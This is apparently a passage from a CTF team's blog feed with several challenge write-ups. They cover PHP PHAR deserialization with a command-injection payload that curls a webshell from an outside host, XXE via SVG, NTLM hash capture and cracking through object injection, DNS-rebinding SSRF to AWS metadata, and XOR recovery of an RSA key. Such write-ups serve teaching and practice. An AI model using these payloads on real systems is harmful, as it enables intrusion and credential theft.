class="se">\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14</span><span class="s2">"</span><span class="mf">.</span> <span class="s2">"</span><span class="se">\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01</span><span class="s2">"</span><span class="mf">.</span> <span class="s2">"</span><span class="se">\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03</span><span class="s2">"</span><span class="mf">.</span> <span class="s2">"</span><span class="se">\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11</span><span class="s2">"</span><span class="mf">.</span> <span class="s2">"</span><span class="se">\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20</span><span class="s2">"</span><span class="mf">.</span> <span class="s2">"</span><span class="se">\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01</span><span class="s2">"</span><span class="mf">.</span> <span class="s2">"</span><span class="se">\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00</span><span class="s2">"</span><span class="mf">.</span> <span class="s2">"</span><span class="se">\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda</span><span class="s2">"</span><span class="mf">.</span> <span class="s2">"</span><span class="se">\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9</span><span class="s2">"</span><span class="p">;</span> <span class="nv">$phar</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Phar</span><span class="p">(</span><span class="s2">"phar.phar"</span><span class="p">);</span> <span class="nv">$phar</span><span class="o">-&gt;</span><span class="nf">startBuffering</span><span class="p">();</span> <span class="nv">$phar</span><span class="o">-&gt;</span><span class="nf">addFromString</span><span class="p">(</span><span class="s2">"test.txt"</span><span class="p">,</span><span class="s2">"test"</span><span class="p">);</span> <span class="nv">$phar</span><span class="o">-&gt;</span><span class="nf">setStub</span><span class="p">(</span><span class="nv">$jpeg_header_size</span><span class="mf">.</span><span class="s2">" __HALT_COMPILER(); ?&gt;"</span><span class="p">);</span> <span class="nv">$object</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Image</span><span class="p">;</span> <span class="nv">$object</span><span class="o">-&gt;</span><span class="n">tmp_name</span> <span class="o">=</span> <span class="s1">'/etc/passwd'</span><span class="p">;</span> <span class="nv">$object</span><span class="o">-&gt;</span><span class="n">folder</span> <span class="o">=</span> <span class="s1">'/tmp'</span><span class="p">;</span> <span class="nv">$object</span><span class="o">-&gt;</span><span class="n">file_name</span> <span class="o">=</span> <span class="s1">'aaa`curl jbz.team/phpshell.txt &gt; /var/www/html/images/&lt;phpsessid&gt;/a.php`bbb'</span><span class="p">;</span> <span class="nv">$object</span><span class="o">-&gt;</span><span class="n">extension</span> <span class="o">=</span> <span class="s1">'txt'</span><span class="p">;</span> <span class="nv">$phar</span><span class="o">-&gt;</span><span class="nf">setMetadata</span><span class="p">(</span><span class="nv">$object</span><span class="p">);</span> <span class="nv">$phar</span><span class="o">-&gt;</span><span class="nf">stopBuffering</span><span class="p">();</span></code></pre></figure> <p>The injected <code class="language-plaintext highlighter-rouge">Image</code> object was used to trigger the command injection in the <code class="language-plaintext highlighter-rouge">system</code> function:</p> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="kd">class</span> <span class="nc">Image</span> <span class="p">{</span> <span class="p">[</span><span class="mf">...</span><span class="p">]</span> <span class="k">function</span> <span class="n">create_thumb</span><span class="p">()</span> <span class="p">{</span> <span class="nv">$file_path</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">folder</span> <span class="mf">.</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">file_name</span> <span class="mf">.</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">extension</span><span class="p">;</span> <span class="nv">$thumb_path</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">folder</span> <span class="mf">.</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">file_name</span> <span class="mf">.</span> <span class="s2">"_thumb.jpg"</span><span class="p">;</span> <span class="nb">system</span><span class="p">(</span><span class="s1">'convert '</span> <span class="mf">.</span> <span class="nv">$file_path</span> <span class="mf">.</span> <span class="s2">" -resize 200x200! "</span> <span class="mf">.</span> <span class="nv">$thumb_path</span><span class="p">);</span> <span class="p">}</span> <span class="k">function</span> <span class="n">__destruct</span><span class="p">()</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">file_exists</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="n">folder</span><span class="p">)){</span> <span class="nb">mkdir</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="n">folder</span><span class="p">);</span> <span class="p">}</span> <span class="nv">$file_dst</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">folder</span> <span class="mf">.</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">file_name</span> <span class="mf">.</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">extension</span><span class="p">;</span> <span class="nb">move_uploaded_file</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="n">tmp_name</span><span class="p">,</span> <span class="nv">$file_dst</span><span class="p">);</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="nf">create_thumb</span><span class="p">();</span> <span class="p">}</span> <span class="p">}</span></code></pre></figure> <h3 id="rce">RCE</h3> <p>We uploaded the generated polyglot <code class="language-plaintext highlighter-rouge">PHAR</code> to the server, and then triggered the deserialization via the following <code class="language-plaintext highlighter-rouge">SVG</code>:</p> <figure class="highlight"><pre><code class="language-xml" data-lang="xml"><span class="cp">&lt;!DOCTYPE svg [ &lt;!ELEMENT svg ANY &gt;</span> <span class="cp">&lt;!ENTITY % data SYSTEM "phar://images/&lt;phpsessid&gt;</span>/<span class="nt">&lt;phar_file_name&gt;</span>.jpg"&gt; %data; ]&gt; <span class="nt">&lt;svg</span> <span class="na">viewBox=</span><span class="s">"0 0 400 400"</span> <span class="na">version=</span><span class="s">"1.2"</span> <span class="na">xmlns=</span><span class="s">"http://www.w3.org/2000/svg"</span> <span class="na">style=</span><span class="s">"fill:red"</span><span class="nt">&gt;</span> <span class="nt">&lt;text</span> <span class="na">x=</span><span class="s">"60"</span> <span class="na">y=</span><span class="s">"15"</span> <span class="na">style=</span><span class="s">"fill:black"</span><span class="nt">&gt;</span>PoC for XXE file stealing via SVG rasterization<span class="nt">&lt;/text&gt;</span> <span class="nt">&lt;rect</span> <span class="na">x=</span><span class="s">"0"</span> <span class="na">y=</span><span class="s">"0"</span> <span class="na">rx=</span><span class="s">"10"</span> <span class="na">ry=</span><span class="s">"10"</span> <span class="na">width=</span><span class="s">"400"</span> <span class="na">height=</span><span class="s">"400"</span> <span class="na">style=</span><span class="s">"fill:green;opacity:0.3"</span><span class="nt">/&gt;</span> <span class="nt">&lt;flowRoot</span> <span class="na">font-size=</span><span class="s">"15"</span><span class="nt">&gt;</span> <span class="nt">&lt;flowRegion&gt;</span> <span class="nt">&lt;rect</span> <span class="na">x=</span><span class="s">"10"</span> <span class="na">y=</span><span class="s">"20"</span> <span class="na">width=</span><span class="s">"380"</span> <span class="na">height=</span><span class="s">"370"</span> <span class="na">style=</span><span class="s">"fill:yellow;opacity:0.3"</span><span class="nt">/&gt;</span> <span class="nt">&lt;/flowRegion&gt;</span> <span class="nt">&lt;flowDiv&gt;</span> <span class="nt">&lt;flowPara&gt;&lt;/flowPara&gt;</span> <span class="nt">&lt;/flowDiv&gt;</span> <span class="nt">&lt;/flowRoot&gt;</span> <span class="nt">&lt;/svg&gt;</span></code></pre></figure> <p>And boom we visited the downloaded webshell which executed our commands.</p> <p>Then it was just a matter of executing <code class="language-plaintext highlighter-rouge">/var/www/html/flag_dispenser</code>, which happened to be a binary file, executable by anyone, but readable only by <code class="language-plaintext highlighter-rouge">root</code>, to get the flag:</p> <p><code class="language-plaintext highlighter-rouge">Flag: midnight{R3lying_0n_PHP_4lw45_W0rKs}</code></p> Sat, 06 Apr 2019 13:37:00 +0000 https://jbzteam.github.io/midnightsunctfquals2019/Rubenscube https://jbzteam.github.io/midnightsunctfquals2019/Rubenscube Web MidnightSunCTFQuals2019 Mates CTF 2018 - 420 Quiz <p>This challenge was a cool real world scenario and we were the only team to solve it, so it’s a good excuse to do a writeup.</p> <p>The challenge question was just an URL, after you visit it you can signup with username and email and start a quiz.</p> <p>Among the quiz questions there were these two interesting strings:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Relax, here is the hint: [admin] Great, here is the second hint: [source_882c1aaf3.zip] </code></pre></div></div> <p>Visiting <code class="language-plaintext highlighter-rouge">/admin</code> presented us a login page with a comment which allowed us to understand that the authentication was using <code class="language-plaintext highlighter-rouge">LDAP</code>.</p> <p>In the <code class="language-plaintext highlighter-rouge">source_882c1aaf3.zip</code> we found the source code of all non admin pages: <a href="https://github.com/jbzteam/CTF/blob/master/MatesCTF2018/Quiz/index.php">index.php</a>, <a href="https://github.com/jbzteam/CTF/blob/master/MatesCTF2018/Quiz/lib.php">lib.php</a> and <a href="https://github.com/jbzteam/CTF/blob/master/MatesCTF2018/Quiz/quiz.php">quiz.php</a>.</p> <p>After a quick analysis we discovered a PHP Object Injection in <a href="https://github.com/jbzteam/CTF/blob/master/MatesCTF2018/Quiz/quiz.php">quiz.php</a>:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> if(isset($_POST['answer'])){ $answer = (string)$_POST['answer']; $ck = base64_decode($_COOKIE['userinfo']); if(preg_match('/O:[0-9]+:"/',$ck)){ //Filter we need to bypass header("Location: quiz.php"); die(); } $userinfo = unserialize($ck); //Object Injection if(intval($_COOKIE['quiz_no']) &gt; 19){ $quiz = 'Each user needs to answer only 20 quizs! Please wait for response from us.'; } elseif(is_array($userinfo)) { $tmp = new SaveAnswer($userinfo['username'],$userinfo['email'],$answer.PHP_EOL); $quiz = make_quiz($_COOKIE['quiz_no'], True); } else { die("Cannot get userinfo"); } } else { $quiz = make_quiz($_COOKIE['quiz_no']); } </code></pre></div></div> <p>As you can see there is a filter we need to bypass to exploit it, as they are trying to prevent unserialization of PHP objects:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>preg_match('/O:[0-9]+:"/',$ck) </code></pre></div></div> <p>However this filter can be bypassed by replacing the object length with a signed number (i.e. <code class="language-plaintext highlighter-rouge">O:5:"Class":1:{s:5:"param";s:5:"value";}</code> becomes <code class="language-plaintext highlighter-rouge">O:+5:"Class":1:{s:5:"param";s:5:"value";}</code>)</p> <p>Now it’s just a matter of finding the right object to unserialize to do some magic.</p> <p>In <a href="https://github.com/jbzteam/CTF/blob/master/MatesCTF2018/Quiz/lib.php">lib.php</a> we had an handy class which was included in <a href="https://github.com/jbzteam/CTF/blob/master/MatesCTF2018/Quiz/quiz.php">quiz.php</a>:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> class SaveAnswer { private $folder = 'C:\\Windows\\Temp\\'; private $filename; private $anscontent; public function __construct($username, $email, $ans) { $this-&gt;filename = $username.'_'.str_replace(['@','.',' '],'_',$email); $this-&gt;anscontent = (string)$ans; } private function writeToFile($mode){ $fullpath = $this-&gt;folder.$this-&gt;filename; if(!file_exists($fullpath.'.txt')){ if(!preg_match('/^C:\x5cWindows\x5cTemp\x5c[a-zA-Z0-9\.\_]+$/i',$fullpath)){ return False; } } try{ $file = fopen($fullpath.".txt", $mode); fwrite($file, $this-&gt;anscontent); fclose($file); } catch(Exception $e){ return False; } return True; } public function __destruct() { $this-&gt;writeToFile("a+"); } } </code></pre></div></div> <p>Cool, a class on a Windows Server which allowed us to write to a file and we could use the PHP Object Injection to instantiate this class with arbitrary parameters.</p> <h3 id="lets-dance-samba">LET’S DANCE SAMBA</h3> <p>Windows has a very cool feature, when you try to access a link like <code class="language-plaintext highlighter-rouge">\\ip\file</code> it is so nice to send the NTLM hash of the current user along with the request to try to login via Samba, so what if we try to exploit the PHP Object Injection and request a file via Samba from our server and log the NTLM hash?</p> <p>To build the right serialized object we used the following PHP code:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;?php class SaveAnswer { private $folder = '\\\\our_ip_here\\'; private $filename = 'jbz'; private $anscontent = 'jbz'; public function __construct($username, $email, $ans) { $this-&gt;filename = $username.'_'.str_replace(['@','.',' '],'_',$email); $this-&gt;anscontent = (string)$ans; } } $exp = new SaveAnswer('jbz','[email protected]','jbz'); echo base64_encode(str_replace("O:","O:+",serialize($exp))); </code></pre></div></div> <p>After sending a request to <code class="language-plaintext highlighter-rouge">quiz.php</code> with the generated payload in the <code class="language-plaintext highlighter-rouge">userinfo</code> cookie, we received this in our <a href="https://github.com/SpiderLabs/Responder">Responder</a> server.</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[SMB] NTLMv2-SSP Client : 35.185.189.153 [SMB] NTLMv2-SSP Username : QUIZSERVER0\r0cky0u [SMB] NTLMv2-SSP Hash : r0cky0u::QUIZSERVER0:1122334455667788:11726B453AFF097DBE050E3BB1386C7F:0101000000000000E0B28CD37405D401C3BA5E9BF5910DCE0000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D0042003100320008003000300000000000000000000000003000000136927FA8611B32A37F4FD804F2D5B215872D9A9CC975CDDDE475B9AEBE2C000A001000000000000000000000000000000000000900200063006900660073002F0035002E0039002E003100310033002E003200310036000000000000000000 </code></pre></div></div> <p>Now it was just a matter of launching <a href="https://github.com/magnumripper/JohnTheRipper">John The Ripper</a> with the <a href="http://downloads.skullsecurity.org/passwords/rockyou.txt.bz2">rockyou wordlist</a> and wait the admin password to appear and use it to login in the admin panel.</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ john --wordlist=/tmp/rockyou.txt /tmp/SMB-NTLMv2-SSP-35.185.189.153.txt Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status BENGIjake=06 (r0cky0u) 1g 0:00:00:09 DONE (2018-06-18 19:13) 0.1023g/s 1167Kp/s 1167Kc/s 1167KC/s BIMBONA..BANDSTER Use the "--show" option to display all of the cracked passwords reliably Session completed </code></pre></div></div> <p>Congratulation the flag is: <code class="language-plaintext highlighter-rouge">matesctf{1df0d456589907360141240ec0d4fb71cd36f1fc}</code></p> Mon, 18 Jun 2018 13:37:00 +0000 https://jbzteam.github.io/matesctf2018/420-Quiz https://jbzteam.github.io/matesctf2018/420-Quiz Web MatesCTF2018 Security Fest 2018 - Pongdom <blockquote> <p>Even AI needs uptime checks.</p> </blockquote> <p>This challenge was really trivial even if it was solved by just 8 teams.</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Solves: 8 Service: http://pongdom.alieni.se:3002/ Author: avlidienbrunn 2018-05-31 11:59:15 marqueexss 2018-06-01 00:36:08 jbz 2018-06-01 11:44:31 dcua </code></pre></div></div> <p>After you register and login to the service you are allowed to submit an URL and the service will just make an <code class="language-plaintext highlighter-rouge">HTTP GET</code> request to check if it’s up or down and will show you some bytes of the reply.</p> <p>As a first attempt we submitted a Burp Collaborator link to see all interactions and what we’ve got are 2 DNS queries of type <code class="language-plaintext highlighter-rouge">A</code> and an <code class="language-plaintext highlighter-rouge">HTTP GET</code> request.</p> <p>We can now simply guess that the server first tries to resolve the domain to (maybe) check if it’s an allowed resource, than does the actual request.</p> <p>We also noticed that the IP address was from an AWS istance, this means that if we can obtain a SSRF (Server Side Request Forgery) we can interact with AWS APIs.</p> <p>So we tried to input <code class="language-plaintext highlighter-rouge">http://169.254.169.254.xip.io</code> as URL but we immediatly got an error message:</p> <p><code class="language-plaintext highlighter-rouge">Forbidden hostname!</code></p> <h3 id="its-time-for-a-dns-race-condition">It’s time for a DNS Race condition!</h3> <p>We created two DNS records of type <code class="language-plaintext highlighter-rouge">A</code>:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aws.jbz.swag. 59 IN A 8.8.8.8 aws.jbz.swag. 59 IN A 169.254.169.254 </code></pre></div></div> <p>Then we submitted <code class="language-plaintext highlighter-rouge">http://aws.jbz.swag/latest/user-data</code> as URL hoping that the server will get <code class="language-plaintext highlighter-rouge">8.8.8.8</code> as first DNS resolution, which would bypass the IP check and <code class="language-plaintext highlighter-rouge">169.254.169.254</code> as second DNS resolution, which would give us the AWS istance configuration.</p> <p>We were lucky enough to win the race at the first attempt and <em>kabbooom</em> a message telling us tha the URL was correctly added appeared!</p> <p>Than we navigated to the status page and the flag was there: <code class="language-plaintext highlighter-rouge">SCTF{w@fflez_w1th_cl0udb3rryj@m}</code> :D</p> Fri, 01 Jun 2018 20:00:00 +0000 https://jbzteam.github.io/securityfest2018/Pongdom https://jbzteam.github.io/securityfest2018/Pongdom Web SecurityFest2018 INS'hAck CTF 2018 - music is frequency <p>This challenge was pretty fun to solve, credits to the creator!!</p> <blockquote> <p>Find a way to decrypt our rsa private key to get your reward. Because we are pretty bad musicians, we have decided to not take into account any rhythm and to round all used number to the closest.</p> <p>We are given the initial description of the challenge and a zip file</p> </blockquote> <p>The zip file contains a pdf of sheet music for Frere Jacques song and two files:</p> <ul> <li><code class="language-plaintext highlighter-rouge">flag.enc</code> the flag encrypted</li> <li><code class="language-plaintext highlighter-rouge">privatekey.bin</code> the privatekey encrypted, that’s been used to encrypt the flag</li> </ul> <p>From the description of the challenge we instantly thought about using the frequency of each notes of the song to decrypt the key, but it wasn’t right.</p> <p>We thought there was something in the pdf, but we didn’t find anything.</p> <p>After a little bit of struggling we used <code class="language-plaintext highlighter-rouge">hexdump</code> on <code class="language-plaintext highlighter-rouge">privatekey.bin</code> and what we found? See it yourself:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>hexdump privatekey.bin 0000000 1d 1d 1d 1d 1d 72 75 76 79 7f 10 63 62 70 10 61 0000010 62 79 66 71 64 75 10 7a 74 69 1d 1d 1c 1d 1d 3a 0000020 7d 79 79 75 5f 47 79 73 70 71 7a 72 70 61 75 71 ... ... 0000660 76 69 07 4a 62 61 5f 66 6b 79 52 41 3b 1d 1d 1d 0000670 1d 1d 75 7e 74 10 62 62 71 11 60 63 78 67 71 65 0000680 75 10 7b 75 69 1d 1d 1c 1c 1d </code></pre></div></div> <p>The first two and the last two rows have something special:</p> <p>We noticed that the key starts with <code class="language-plaintext highlighter-rouge">1d 1d 1d 1d 1d</code> - <code class="language-plaintext highlighter-rouge">1d 1d 1c 1d 1d</code> and ends with <code class="language-plaintext highlighter-rouge">1d 1d 1d 1d 1d</code> - <code class="language-plaintext highlighter-rouge">1d 1d 1c 1c 1d</code>. This reminded us of the <code class="language-plaintext highlighter-rouge">-</code> in the RSA private key format’s header, specifically: <code class="language-plaintext highlighter-rouge">-----BEGIN RSA PRIVATE KEY-----</code>. Also the number of byte between the <code class="language-plaintext highlighter-rouge">1d</code> block were matching with the lenght of <code class="language-plaintext highlighter-rouge">BEGIN RSA PRIVATE KEY</code>.</p> <p>We ended up xoring this header string with the hex that we got from the first rows of the key and we got a nice result: <code class="language-plaintext highlighter-rouge">0000000101011101000000011000100</code></p> <p>By analyzing this string, we noticed that the numbers of <code class="language-plaintext highlighter-rouge">0</code> is always repeated, so it looks like a padding, and the other part were some numbers like <code class="language-plaintext highlighter-rouge">101011101</code> that is the binary representation of the decimal <code class="language-plaintext highlighter-rouge">349</code>.</p> <p>We went back and check if this was a frequency of the first note <strong>F</strong> and indeed it was. Eureka.</p> <p>So we xored the rest of the privatekey using all the frequency of the notes and we got the privatekey:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAzM+Z7PPPj8l6coIATywrjehN1WljdDbZ7icA3YQNBcovrovh BU3xcXzOuHzsb05TK5wQuwB2mYUlCH/TcCChz4EOy5hymb/MIKmYRyjljNW6BMbU fWKBvIMpcTrM7jnRbe2miFzsiLpxn6OV32cjRnytieiMFFWFCmylLBJG5vpq7m89 5gMgpw4wWn88GMQUODxmkN8MU4GU+wwEVi4A0vMBJUxNJVx8ZF1n/6MUVyhOp3Ch aiQ1S1EartEiV0yiX4MLNz3J83chmvH5jXqMDUN1ELcpTCc11uTW55cGz1shFnpQ 7NQYZd7CovByiDbwyuM86nJb/4QDDRuiGoSrdQIDAQABAoIBACmUaAKECPp/A93l aJyqMflwVQTjjW5ViG7h+jn+igpH3uBHw5opFcBdfzZTHkkGlLoAyCC+2lUWg8sy 8EEOTutqnw9UVsfB+XYUGDcyJVAvP8GigBcofYBA/JPhRSOEF3GC0tFSVC758wFe 25lsPewcebrKvE2Qgx73qZzF5SEVDlu8QzUoTo1cwPG5Fax0zGITtunxvagA6+3d i+JYwY/NqOKa5/Nq4/Y1Az4HChhdCRmJodUG5x8kwGfWiEPQhWmOJaZqkzKHZ3wK nbt46sVpqRh2dvs6a8uA4yE1ZNrQDfjY6BynWg7EJuM+WdQ/2ZO2A/Iq3YNK5Z9u PpFLx4ECgYEAz1cjfOhDT16ma8GzM+ocIRlt9hOKpveJ9G8oNpP5ZiQHNXTDdwje eYILo6SzJCx0w3yuAC3+iB4JLv9x8WfenXEoQWiEiTRIxvRWCpLLdkNRRCwtvsvT 8vMiXa9KVYpmje8VQzbgWmEDbi3uis44AzaGhP4iALjcWHTSezEyuJUCgYEA/OB+ 29fpbAFS2OMHHPO2TnWPypAOxVZ0Cj2gxffWNc/RmHcav6G4HIfAxz2W6IBNMUM4 eR/PeXTcBsPOjjBt+fZZHENbibm5bU5PjTICGtfFnotOVoQRyLsSQNefj84zzfS3 cZ4uQmTdYEhYQcMpIGwjKARZccP7cV29AFyMD2ECgYAQtFSHm67Qli+SPujRJete P048pRZmnUrgBpSW0RUmxYBPLjkRPgWuhGuro3lLUMmXdlQOb6YyETlsL+heKqAk zxkPK/yBkVTLsqO79leuD35cn7KPzJwm1q/OHHFAswXQKZLs917b6TT9i3XMeRDK MXpk/JSAumQGPGM4yZ3sgQKBgQDIbIo/Zn6cWuQ2AKJ3oPYic20XKFx8rcvk/fl6 TrdaCS/fPq9VqTCKdFIn2DnOZzpHTDbrUXoYkrV9Kx6AdgQEdOslyoE3xJsh9kp4 52Thr5jy0wiw65ZI2XRbLktKKC3JFCd9Btk1SEppcI16+dqT1wF6SxA1ahbVQG13 ZuKfoQKBgAxyI0Vhslf3oGq0yf9Ngy35v9eJ3akFqmIS/l2ZpPIRrpICXOxSacUo vfQrN4afh4AP/nAYDjkm7FFbp1B5p2GBzyXlAJtLpdeAS/5pVpus/LfCOCD6fe2u c8F27mqdE+zVtiKPolkHoqki+1pizR7sed2UhlaoFY7zRQoWZIcp -----END RSA PRIVATE KEY----- </code></pre></div></div> <p>Having the privatekey we used openssl to decrypt the flag:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">base64</span> <span class="nt">-d</span> flag.enc <span class="o">&gt;</span> flag.bin <span class="nv">$ </span>openssl rsautl <span class="nt">-decrypt</span> <span class="nt">-inkey</span> privatekey.pem <span class="nt">-in</span> flag.bin <span class="nt">-out</span> decrypted.txt <span class="nt">-raw</span> <span class="nv">$ </span><span class="nb">cat </span>decrypted.txt INSA<span class="o">{</span>Mus1c_15_n0t_0nly_5teg4N0<span class="o">}</span> </code></pre></div></div> <p>Here it’s the complete python script for the key recovery</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">Crypto.Util</span> <span class="kn">import</span> <span class="n">strxor</span> <span class="k">def</span> <span class="nf">xor</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="n">b</span><span class="p">):</span> <span class="k">return</span> <span class="n">strxor</span><span class="p">.</span><span class="n">strxor</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="n">b</span><span class="p">)</span> <span class="n">begin_c</span> <span class="o">=</span> <span class="s">b'</span><span class="se">\x1D\x1D\x1D\x1D\x1D\x72\x75\x76\x79\x7F\x10\x63\x62\x70\x10\x61\x62\x79\x66\x71\x64\x75\x10\x7A\x74\x69\x1D\x1D\x1C\x1D\x1D</span><span class="s">'</span> <span class="n">end_c</span> <span class="o">=</span> <span class="s">b'</span><span class="se">\x1D\x1D\x1D\x1D\x1D\x75\x7E\x74\x10\x62\x62\x71\x11\x60\x63\x78\x67\x71\x65\x75\x10\x7B\x75\x69\x1D\x1D\x1C\x1C\x1D</span><span class="s">'</span> <span class="n">begin_p</span> <span class="o">=</span> <span class="s">b'-----BEGIN RSA PRIVATE KEY-----'</span> <span class="n">end_p</span> <span class="o">=</span> <span class="s">b'-----END RSA PRIVATE KEY-----'</span> <span class="k">print</span><span class="p">(</span><span class="n">xor</span><span class="p">(</span><span class="n">begin_c</span><span class="p">,</span> <span class="n">begin_p</span><span class="p">))</span> <span class="c1">#print(xor(end_c, end_p)) </span> <span class="k">def</span> <span class="nf">note2bin</span><span class="p">(</span><span class="n">freq</span><span class="p">):</span> <span class="k">return</span> <span class="nb">format</span><span class="p">(</span><span class="n">freq</span><span class="p">,</span> <span class="s">'016b'</span><span class="p">)</span> <span class="k">def</span> <span class="nf">repeat</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">wanted</span><span class="p">):</span> <span class="k">return</span> <span class="p">(</span><span class="n">s</span> <span class="o">*</span> <span class="p">(</span><span class="n">wanted</span><span class="o">//</span><span class="nb">len</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))[:</span><span class="n">wanted</span><span class="p">]</span> <span class="n">pk</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"privatekey.bin"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">).</span><span class="n">read</span><span class="p">()</span> <span class="n">keystream</span> <span class="o">=</span> <span class="s">""</span> <span class="n">notes</span> <span class="o">=</span> <span class="p">[</span><span class="mi">349</span><span class="p">,</span><span class="mi">392</span><span class="p">,</span><span class="mi">440</span><span class="p">,</span><span class="mi">349</span><span class="p">,</span><span class="mi">349</span><span class="p">,</span><span class="mi">392</span><span class="p">,</span><span class="mi">440</span><span class="p">,</span><span class="mi">349</span><span class="p">,</span><span class="mi">440</span><span class="p">,</span><span class="mi">466</span><span class="p">,</span><span class="mi">523</span><span class="p">,</span><span class="mi">440</span><span class="p">,</span><span class="mi">466</span><span class="p">,</span><span class="mi">523</span><span class="p">,</span><span class="mi">523</span><span class="p">,</span><span class="mi">587</span><span class="p">,</span><span class="mi">523</span><span class="p">,</span><span class="mi">466</span><span class="p">,</span><span class="mi">440</span><span class="p">,</span><span class="mi">349</span><span class="p">,</span><span class="mi">523</span><span class="p">,</span><span class="mi">587</span><span class="p">,</span><span class="mi">523</span><span class="p">,</span><span class="mi">466</span><span class="p">,</span><span class="mi">440</span><span class="p">,</span><span class="mi">349</span><span class="p">,</span><span class="mi">349</span><span class="p">,</span><span class="mi">262</span><span class="p">,</span><span class="mi">349</span><span class="p">,</span><span class="mi">349</span><span class="p">,</span><span class="mi">262</span><span class="p">,</span><span class="mi">349</span><span class="p">]</span> <span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="n">notes</span><span class="p">:</span> <span class="n">keystream</span> <span class="o">+=</span> <span class="n">note2bin</span><span class="p">(</span><span class="n">n</span><span class="p">)</span> <span class="n">keystream</span> <span 